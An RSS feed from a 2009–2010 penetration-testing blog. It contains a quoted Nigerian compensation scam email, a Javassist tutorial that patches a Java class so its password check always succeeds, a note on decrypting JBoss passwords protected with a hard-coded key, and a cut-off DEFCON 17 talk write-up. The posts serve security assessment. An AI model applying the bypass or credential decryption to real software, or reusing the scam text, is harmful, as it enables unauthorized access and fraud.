<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>usefulfor.com/security</title>
	<atom:link href="http://usefulfor.com/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://usefulfor.com/security</link>
	<description>security dojo</description>
	<lastBuildDate>Wed, 16 Jun 2010 15:47:19 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Dear Scammed Victim</title>
		<link>http://usefulfor.com/security/2010/06/16/dear-scammed-victim/</link>
		<comments>http://usefulfor.com/security/2010/06/16/dear-scammed-victim/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 15:47:19 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=185</guid>
		<description><![CDATA[Just got this on my inbox:

Compensation From The Government.
The Chairman
DEBT MANAGEMENT OFFICE
Committee On Government Compensation,
Wuse Zone II, FCT, ABUJA.:
Our Ref : FGN /SNT/STB
Dear Beneficiary,
Re:  Government Compensation on Scams Victims, Lotto, Unpaid/Unclaimed
Contract/Donation.
The Federal Government of Nigeria through the President Dr.Goodluck Jonathan GCFR CON, has mandated the Debt management office in colaboration with Nigeria Financial Intelligence [...]]]></description>
			<content:encoded><![CDATA[<p>Just got this on my inbox:</p>
<blockquote><p>
Compensation From The Government.</p>
<p>The Chairman<br />
DEBT MANAGEMENT OFFICE<br />
Committee On Government Compensation,<br />
Wuse Zone II, FCT, ABUJA.:<br />
Our Ref : FGN /SNT/STB</p>
<p>Dear Beneficiary,</p>
<p>Re:  Government Compensation on Scams Victims, Lotto, Unpaid/Unclaimed<br />
Contract/Donation.</p>
<p>The Federal Government of Nigeria through the President Dr.Goodluck Jonathan GCFR CON, has mandated the Debt management office in colaboration with Nigeria Financial Intelligence Unit (EFCC)to compensate all foreigner’s who in one way or the other has been retrieve of there hard earn money through illegal transaction.</p>
<p>All the Scams Victim who has lost so much to the fraudsters in Nigeria can now be compensation in pro rata of money lost.we are carrying out this verification and payment procedure with guideline from the The Federal Bureau Investigation  Director (FBI) Mr.Robert,S.Mueller. The EFCC Chairman Mrs. Farida Waziri agency had not only recovered $6.5bn since its inception but had secured 400 convictions :http://www.punchng.com/Articl.aspx?theartic=Art201006153502178 </p>
<p>You are officially informed that the sum of  $150,000.00 (One hundred and fifty thousand U. S. dollars only)has been accredited in your favor for compensation due to your inability to claim your funds for some circumstances.</p>
<p>The Instruction has been given to us to Compensate the Scams Victims.Please if you have not been Scammed do not reply this message,it is onlyfor those that were scammed of their money that needs to reply this mail for Compensation.</p>
<p>For processing and verifications, kindly tender the below information:<br />
* Full Name:<br />
* proof of payment/relevant document:<br />
* Phone Number:<br />
* Gender:<br />
* Age:<br />
* Occupation:<br />
* Country:<br />
* Identification:</p>
<p>Direct your information below to the officer that will give instruction to<br />
pay you the Compensation.</p>
<p>Dr. Greg Sambo<br />
DEBT MANAGEMENT OFFICE<br />
Committee On Government Compensation.<br />
email:dmo@contractreviewplanel.fr.fm</p>
</blockquote>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=185&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2010/06/16/dear-scammed-victim/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java Bytecode Injection</title>
		<link>http://usefulfor.com/security/2009/10/26/java-bytecode-injection/</link>
		<comments>http://usefulfor.com/security/2009/10/26/java-bytecode-injection/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 10:58:20 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[hack-fu]]></category>
		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=149</guid>
		<description><![CDATA[When assessing the security posture of a Java thick application we can usually process the code through a decompiler (such as Jad) and have a proper look at the code. It may be the case that we need to bypass the SSL checks but that is usually it.
However, every now and then, we stumble upon [...]]]></description>
			<content:encoded><![CDATA[<p>When assessing the security posture of a Java thick application we can usually process the code through a decompiler (such as <a href="http://www.varaneckas.com/jad">Jad</a>) and have a proper look at the code. It may be the case that we need to <a href="http://usefulfor.com/security/2009/06/23/bypassing-java-thick-client-ssl-checks/">bypass the SSL checks</a> but that is usually it.</p>
<p>However, every now and then, we stumble upon more complex scenarios, for instance, an application whose code has been obfuscated causing decompilation errors. In that case it will no longer be enough to decompile, modify the code and compile again, we would need some other technique. Patching the .class file at the bytecode level sounds like a reasonable approach.<br />
<span id="more-149"></span><br />
Imagine that the class below (<code>Protected</code>) represents the original class we are dealing with. Remember that we would not have access to this code, instead, we would have been given a compiled an obfuscated version of it (different method names, class names and variable names). Also imagine that the class is substantially more complex and has a number of obscure routines that break the decompilation process.</p>

<div class="wp_syntax"><div class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.util.Random</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> <span style="color: #000000; font-weight: bold;">Protected</span>
<span style="color: #009900;">&#123;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">boolean</span> checkPassword<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span> password<span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">return</span> <span style="color: #003399;">String</span>.<span style="color: #006633;">valueOf</span><span style="color: #009900;">&#40;</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #003399;">Random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #006633;">nextInt</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>.<span style="color: #006633;">equals</span><span style="color: #009900;">&#40;</span>password<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> argv<span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>argv.<span style="color: #006633;">length</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">System</span>.<span style="color: #006633;">err</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>quote<span style="color: #339933;">;</span>Please provide a password.<span style="color: #339933;">&amp;</span>quote<span style="color: #339933;">;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000000; font-weight: bold;">return</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span> checkPassword<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Success&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000000; font-weight: bold;">else</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Failure&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>When compiled (<code>javac Protected.java</code>) and run, the result would be as follows:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ java Protected p4ssword
Failure</pre></div></div>

<p>In the obfuscated code scenario you would need to use debugging techniques to identify the relevant code (checkout <a href="http://code.google.com/p/jswat/">JSwat</a> for this). So, after hours of going through the decompiled obfuscated code, we have managed to identify that <code>Protected</code> is the class and <code>checkPassword()</code> is the method we want to focus our attention on.</p>
<p>In order to inject at the bytecode level we are going to use <a href="http://www.csg.is.titech.ac.jp/~chiba/javassist/">Javassist</a>, the Java Programming Assistant. From their website:</p>
<blockquote><p>
[...] it enables Java programs to define a new class at runtime and to modify a class file when the <acronym title="Java Virtual Machine">JVM</acronym> loads it.
</p></blockquote>
<p>Which is exactly what we want to do <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  So here is how you would bypass the <code>checkPassword</code> method by manipulating the bytecode of the class:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="code"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">javassist.*</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> Injector
<span style="color: #009900;">&#123;</span>
&nbsp;
  <span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">static</span> <span style="color: #000066; font-weight: bold;">void</span> main<span style="color: #009900;">&#40;</span><span style="color: #003399;">String</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> argv<span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">throws</span> <span style="color: #003399;">Exception</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #666666; font-style: italic;">// Load the 'Protected' class representation</span>
    ClassPool pool <span style="color: #339933;">=</span> ClassPool.<span style="color: #006633;">getDefault</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CtClass cc <span style="color: #339933;">=</span> pool.<span style="color: #006633;">get</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Protected&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// Find the method we want to patch and rename it </span>
    <span style="color: #666666; font-style: italic;">// (we will be creating a new method with the original name).</span>
    CtMethod m_old <span style="color: #339933;">=</span> cc.<span style="color: #006633;">getDeclaredMethod</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;checkPassword&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    m_old.<span style="color: #006633;">setName</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;checkPassword$impl&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// Create a new method with the same name as the old one</span>
    CtMethod m_new <span style="color: #339933;">=</span> CtNewMethod.<span style="color: #006633;">copy</span><span style="color: #009900;">&#40;</span>m_old, <span style="color: #0000ff;">&quot;checkPassword&quot;</span>, cc, <span style="color: #000066; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// Provide the new method's implementation</span>
    StringBuilder sb <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> StringBuilder<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    sb.<span style="color: #006633;">append</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;{ return true; }&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    m_new.<span style="color: #006633;">setBody</span><span style="color: #009900;">&#40;</span> sb.<span style="color: #006633;">toString</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">// Add the new method to the class. Patch the .class file</span>
    cc.<span style="color: #006633;">addMethod</span><span style="color: #009900;">&#40;</span> m_new <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    cc.<span style="color: #006633;">writeFile</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Injection  complete. List of methods:&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    CtMethod<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> methods <span style="color: #339933;">=</span> cc.<span style="color: #006633;">getDeclaredMethods</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">for</span><span style="color: #009900;">&#40;</span> <span style="color: #000066; font-weight: bold;">int</span> i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i<span style="color: #339933;">&lt;</span>methods.<span style="color: #006633;">length</span> <span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #003399;">System</span>.<span style="color: #006633;">out</span>.<span style="color: #006633;">println</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span> <span style="color: #339933;">+</span> methods<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #006633;">getLongName</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>When run, the <code>Injector</code> application will patch the <code>Protected.class</code> file with a new implementation of the <code>checkPassword()</code> method.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ javac <span style="color: #660033;">-cp</span> .:javassist.jar Injector.java
$ java <span style="color: #660033;">-cp</span> .:javaassist.jar Injector
Injection complete. Methods <span style="color: #000000; font-weight: bold;">in</span> class Protected:
    Protected.checkPassword<span style="color: #007800;">$impl</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>java.lang.String<span style="color: #7a0874; font-weight: bold;">&#41;</span>
    Protected.main<span style="color: #7a0874; font-weight: bold;">&#40;</span>java.lang.String<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
    Protected.checkPassword<span style="color: #7a0874; font-weight: bold;">&#40;</span>java.lang.String<span style="color: #7a0874; font-weight: bold;">&#41;</span>
$ java Protected p4ssword
Success</pre></div></div>

<p>This is just a simple example of what can be accomplished with a framework such as Javassist. Check the <strong>References</strong> section below for additional information.</p>
<h3>References</h3>
<ul>
<li>Sample code at GitHub: <a href="http://github.com/usefulfor/usefulfor/tree/6c7afe339923b13a4ea71574c856edd6546010d1/security/java_injection">http://github.com/usefulfor/</a></li>
<li><a href="http://www.csg.is.titech.ac.jp/~chiba/javassist/">Javassist</a> (Java Programming Assistant)</li>
<li><a href="http://www.ibm.com/developerworks/java/library/j-dyn0916.html">Class transformation with Javassist</a></li>
</ul>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=149&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2009/10/26/java-bytecode-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Beware of JBoss&#8217; &#8220;SecureIdentityLoginModule&#8221;</title>
		<link>http://usefulfor.com/security/2009/09/24/beware-of-jboss-secureidentityloginmodule/</link>
		<comments>http://usefulfor.com/security/2009/09/24/beware-of-jboss-secureidentityloginmodule/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 23:05:16 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Webapp security]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=138</guid>
		<description><![CDATA[From JBoss' Community Wiki EncryptingDataSourcePasswords page:

The org.jboss.resource.security.SecureIdentityLoginModule from jboss-jca.jar can be used to encrypt database passwords rather than using clear text passwords in the DataSource configuration. [...]

Which in principle, is a great thing. The problem being that usually database credentials end up being placed in the web application configuration file in clear text. However:
[...] It [...]]]></description>
			<content:encoded><![CDATA[<p>From JBoss' Community Wiki <a href="http://www.jboss.org/community/wiki/EncryptingDataSourcePasswords">EncryptingDataSourcePasswords</a> page:</p>
<blockquote><p>
The <code>org.jboss.resource.security.SecureIdentityLoginModule</code> from <code>jboss-jca.jar</code> can be used to encrypt database passwords rather than using clear text passwords in the DataSource configuration. [...]
</p></blockquote>
<p>Which in principle, is a great thing. The problem being that usually database credentials end up being placed in the web application configuration file in clear text. However:</p>
<blockquote><p>[...] It uses a hard-coded password to encrypt/decrypt the DataSource password.</p></blockquote>
<p>Bottom line, anyone using the <a href="http://docs.huihoo.com/javadoc/jboss/4.0.2/org/jboss/resource/security/SecureIdentityLoginModule.java.html">SecureIdentityLoginModule</a> to encrypt their password in the configuration file is doing it with a Blowfish algorithm and well known key. So if during an engagement you find a configuration snippet similar to the one below:</p>

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;policy<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
[...]
  <span style="color: #808080; font-style: italic;">&lt;!-- Example usage of the SecureIdentityLoginModule --&gt;</span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;application-policy</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;EncryptDBPassword&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;authentication<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;login-module</span> <span style="color: #000066;">code</span>=<span style="color: #ff0000;">&quot;org.jboss.resource.security.SecureIdentityLoginModule&quot;</span> <span style="color: #000066;">flag</span>=<span style="color: #ff0000;">&quot;required&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;module-option</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;username&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>sa<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/module-option<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;module-option</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;password&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>5dfc52b51bd35553df8592078de921bc<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/module-option<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
      <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;module-option</span> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">&quot;managedConnectionFactoryName&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span></span>[...]<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/module-option<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
    <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/login-module<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
  <span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/authentication<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/application-policy<span style="color: #000000; font-weight: bold;">&gt;</span></span></span>
[...]
<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/policy<span style="color: #000000; font-weight: bold;">&gt;</span></span></span></pre></div></div>

<p>You should be able to reverse the encryption and get the credentials in clear text. <a href="http://github.com/usefulfor/usefulfor/raw/master/security/JBoss.java">JBoss.java</a> can help you with this, it is now available in <a href="http://github.com/usefulfor/usefulfor">usefulfor's repository</a> at GitHub.</p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=138&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2009/09/24/beware-of-jboss-secureidentityloginmodule/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DEFCON 17: a late write up</title>
		<link>http://usefulfor.com/security/2009/08/19/defcon-17-a-late-write-up/</link>
		<comments>http://usefulfor.com/security/2009/08/19/defcon-17-a-late-write-up/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 14:36:07 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Events]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=111</guid>
		<description><![CDATA[This year's DEFCON was quite amazing, apparently 10k people showed up in the Riviera for it. This is a late write up because everybody knows already about the fake ATM and the RFID reader near the Wall of Sheep, on the other hand, not everybody knows about other things that also took place. By the [...]]]></description>
			<content:encoded><![CDATA[<p>This year's DEFCON was quite amazing, apparently 10k people showed up in the Riviera for it. This is a late write up because everybody knows already about the <a href="http://twitterfall.com/defcon+atm">fake ATM</a> and the <a href="http://www.wired.com/threatlevel/2009/08/fed-rfid/">RFID reader near the Wall of Sheep</a>, on the other hand, not everybody knows about <a href="https://pics.defcon.org//showphoto.php?photo=648">other things</a> that also took place. By the way, this is how the back side of one of the ATMs at the conference looked like:</p>
<p><img src="http://usefulfor.com/security/files/2009/08/080209235543.jpg" alt="DEFCON ATM back side: RJ45 connector exposed" width="360" height="480" class="aligncenter size-full wp-image-114" /></p>
<p>The truth is that you would need 2 or 3 duplicates to get to do all the stuff that you want to do. There are just too many talks, <a href="http://defcon.org/html/defcon-17/dc-17-contest-results.html">contests</a> and random stuff going on that it is not possible to cover it all. Anyway, below is a breakdown of the talks I managed to get in.<br />
<span id="more-111"></span></p>
<h3>Day 1</h3>
<ul>
<li><em>Welcome to Defcon 17 &amp; the Making(and Hacking) of the Defcon Badge</em>
<p>An intro to the conference and to the Hardware specifications this year's badge had. Checkout the picture of the badge below, it is quite cool with a PIC, a microphone and a multi-LED controller. I still need to find out more about the winners of the hardware hacking contest.</p>
<p><img src="http://usefulfor.com/security/files/2009/08/080609072429.jpg" alt="080609072429" width="480" height="360" class="aligncenter size-full wp-image-120" />
  </li>
<li><em>Q &amp; A with Bruce Schenier</em>
<p>You cannot read <a href="http://www.schneier.com/blog/">Schenier's blog</a> and miss the first opportunity to find out whether he is human or cyborg. I had to be there. A lot of his answers were something like "<em>as I wrote in 200x, blah blah</em>"... which I guess is fair enough. He pitched his SHA-3 algorithm submission but nothing else was really ground-breaking (apart from his funky hat - does anyone have a picture?).</p>
</li>
<li>I missed the <em>More Tricks for Defeating SSL</em> by Moxie Marlinspike (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Marlinspike">abstract</a> - <a href="http://www.blackhat.com/presentations/bh-usa-09/MARLINSPIKE/BHUSA09-Marlinspike-DefeatSSL-SLIDES.pdf">blackhat slides</a>)
<p>Apparently this particular talk was really good and I missed it, damn you DEFCON schedule! I need to find<br />
out more, but the guy found a way around OCSP (a certificate revocation protocol introduced with SSLv3 certificates) that would let an attacker to <acronym title="Man in the Middle">mitm</acronym> SSL without the user's browser presenting the funny warning.</p>
</li>
<li><em>Kenshoto on the organisation of the CTF contest</em>
<p><a href="http://www.kenshoto.com/">Kenshoto</a> is the team that held the <acronym title="Capture the Flag">CTF</acronym> contest for the past 4 years. They gave a breakdown of the network / OS infrastructure they had to set up to be able to monitor all the teams and at the same time prevent the teams from hacking the CTF infrastructure for their profit.</p>
<p>It was a good overview and they also presented some of the challenges that they put the teams through in previous editions. It got scary when they started talking about the time you had to code your shellcode in <strong>Morse code</strong> or using white spaces and tabs...</p>
</li>
<li><em>Subverting the World of Warcraft API</em> by Christopher Mooney and James Luedke  (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Mooney">abstract</a>)
<p>Blizzard has changed the rules and doesn't allow programmatic decision making in the game. This guys found a way around this update and created a library that let them use the old functionality and also some of the newly introduced blizzard-only special APIs. They released a library that can be used to create helper characters able to do programmatic decision making <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' /> </p>
</li>
<li><em>That Awesome Time I was Sued for Two Billion Dollars</em> by Jason Scott (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Scott">abstract</a>)
<p>Yes, I did rise my hand when he asked us if we were in the talk for it's title! A good talk about the personal quest of a crazy guy suing Jason Scott (from <a href="http://www.textfiles.com/">textfiles.com</a>) over a file in the site. The guy first<br />
released a book in exchange of a donation "if you think it is worth it" and then withdrew the release and forbade "the Internet" from using the book  <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  quite funny, and really entertaining speaker.</p>
</li>
</ul>
<h3>Day 2</h3>
<ul>
<li><em>&quot;Smart&quot; Parking Meter</em> by Joe "Kingpin" Grand, Jake Appelbaum and Chris Tarnovsky (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Grand3">abstract</a>)
<p>Hardware hacking parking meter systems. They found out that the communication protocol between the meter and the smartcard was upside down (the meter provided a password and asked the smartcard to verify it, the meter asked the smartcard to decrease its value when time passed, etc.).</p>
<p>Very interesting, more if we take into account that most of the meters are used in a number of countries so, it may be worth<br />
going through the slides. They didn't release code to prevent getting into trouble with the San Francisco transport authority.</p>
</li>
<li><em>Air Traffic Control</em> by Righter Kunkel (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Kunkel">abstract</a>)
<p>The talk provided good insight on how air traffic control operates and also about the details of the next generation of<br />
protocols for locating planes that is going to be deployed to replace traditional radar systems. On the other hand, during the talk, the speaker was going to present a denial of service against the control tower of a standard commercial airport. It boiled down to submitting a web form multiple times and hoping that the amount of paper printed by the tower&#39;s needle printer would overwhelm the staff and slow down operations  <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
</li>
<li><em>RFID MythBusting</em> by Chris Paget (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Paget">abstract</a>)
<p>It was a bit of a vendor pitch of Chris' new company (<a href="http://www.h4rdw4re.com/">check it out!</a> ;0). On the other hand, almost all of his demos didn&#39;t work &quot;due to hardware failures&quot;. Bad things happen to live demos at conferences that is why we saw quite a few <em>pre-recorded</em> ones...</p>
<p>He also planed to break the world record on RFID reading distance which didn&#39;t happen and also planed on having a huge cloning setup in the conference to show how easy is to clone cards and that it doesn&#39;t matter how short range the devices are, but that didn&#39;t happen either. If everything works next time, it's going to be amazing, don't miss it!</p>
</li>
<li><em>Sniff Keystrokes with Lasers/Voltmeters</em> by Andrea Barisani and Daniele Bianco  (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Barisani">abstract</a>)
<p>This one was really good. They used two different methods to sniff keystrokes:</p>
<ul>
<li><strong>Measuring voltage in a distant power socket</strong>: it seems that the PS2 keyboard introduces measurable variations in the power consumption of ATX power supplies. This can be measured from distant sockets (over 15 meters away).</li>
<li><strong>Using a laser microphone to detect keystroke vibrations</strong>. Aiming a laser microphone to a reflective surface of the laptop could enable the vibrations caused by hitting the keys to be detected from the distance.</li>
</ul>
<p>Both methods then required the statistical analysis about language patterns and common key combinations already introduced in previous research.</p>
</li>
</ul>
<h3>Day 3</h3>
<ul>
<li><em>Managed Code Rootkits</em> by Erez Metula (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Metula">abstract</a>)
<p>Now you are talking. Really, really good talk on subverting the lower levels of the virtual machine that runs the managed code. From tinkering with variables of the <acronym title="Java Virtual Machine">JVM</acronym> and including additional JAR files in the load path to a pretty crazy strong encryption bypass for .NET assemblies.</p>
<p>Apparently there is a folder under <code>%windir%</code> where the assemblies are and if you put your modified dll in the right sub folder the CLR wouldn&#39;t complain about the signature... I need to go through it to verify the issues, but all the demos were quite scary.</p>
</li>
<li><em>dradis Framework</em> by etd <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  (<a href="https://www.defcon.org/html/defcon-17/dc-17-speakers.html#Etd">abstract</a> - <a href="http://dradisframework.org/announcements.html#05aug09">slides</a>)
